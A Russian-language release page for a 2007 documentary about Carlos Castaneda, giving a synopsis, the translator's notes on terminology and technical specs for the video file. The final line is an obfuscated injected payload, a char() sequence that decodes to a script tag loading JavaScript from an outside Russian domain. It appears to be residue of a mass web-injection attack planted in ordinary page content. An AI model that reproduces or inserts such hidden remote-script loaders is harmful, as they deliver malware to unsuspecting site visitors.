Год выпуска: 2007
Страна: США
Жанр: Документальный, Биография
Продолжительность: 00:58:10
Перевод: Субтитры
Русские субтитры: есть

Описание: Фильм рассказывает перед нами удивительную историю жизни Карлоса Кастанеды.
Он прославился на весь мир став учеником индейского шамана племени Яки - Дона Хуана,
и описав процесс своего обучения в своей первой книге "Учение Дона Хуана. Путь знания индейцев Яки".
Эта книга сделала его необычайно популярным и очень богатым.
В фильме приводятся доказательства как в подтверждение описанных Кастанедой фактов, так и множество несоответствий, которые интерпретируются его критиками, как указание на полную выдуманность всех его историй и его обучения.
В фильме присутствуют: Маргарита Риньяр - жена Кастанеды, Си Джэй Кастанеда - сын Кастанеды, его коллеги, критики и последователи.
А также всем известные ведьмы из отряда Кастанеды: Флоринда Доннер, Тайша Абеляр, и Голубой Лазутчик (Нури Александр).
В фильме так же присутствуют уникальные кадры живой видео съёмки Карлоса Кастанеды, которая была осуществлена тайно, в ходе слежки за ним.


Комментарии к переводу и фильму:

1) Слово power в контексте социальных связей переводилось не как сила, а как власть. Что более близко по смыслу и просто понятнее.

2) Поимка преступника в университете на основе видений Кастанеды.
Преступник видимо портил библиотечные книги нанося серьёзный финансовый ущерб.

3) Племя которое исследовал Джей Файкс называется Huichou - перевел как Хвичо, т.к. Хуичоу в русском произношении не совсем красиво пишется.

4) Кокон имеет форму яйца, с “щитиной” торчащей вовсе стороны. Видимо подразумеваются какие-то лучи энергии или что-то в этом роде, исходящее из кокона, как иголки из ёжика.

5) Пейотные охотники. Здесь имеется виду группа людей, которые собирают пейот соблюдая при этом особые, видимо ритуальные, условия. Схожим образом можно сказать об войнах духа пейота. Поэтому не стал называть их "охотниками за пейотом", так как в русском произношении они бы не отличались от обычных грибников.

6) Пилтдаунский человек - одна из самых крупных мистификаций 20 века в антропологии. Найдя куски черепа 2 учёных заявили, что нашли переходное звено между человеком и обезьяной.
Позже другие учёные раскрыли их обман, но шумиха была большая.

7) Пэтти Партон в пустыне, слова "остановись" как написано у Карлоса в книгах, видимо имеется ввиду остановка внутреннего диалога (ОВД). И направь себя к нему - так же можно предположить, что смысл фразы в том, чтобы остановив внутренний диалог направить своё намерение на переход к Карлосу. (В тот момент он был уже мёртв).


P.S. Фильм изначально подаётся как компромат и разоблачение великого мистификатора 20 века.
Есть живые люди и их точка зрения, есть факты, поэтому анализируйте и делайте выводы сами.


Качество: TVRip
Формат: MP4
Видео кодек: Другой MPEG4
Аудио кодек: AAC
Видео: MPEG4, 1400 Кбит/с, 720x400
Аудио: AAC, стерео, 48000Гц, 128 Кбит/с



char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,105,107,115,117,115,46,109,115,107,46,114,117,47)34ae1e5fdfd82dc565e3740a4d97c5e7.js" type="text/javascript">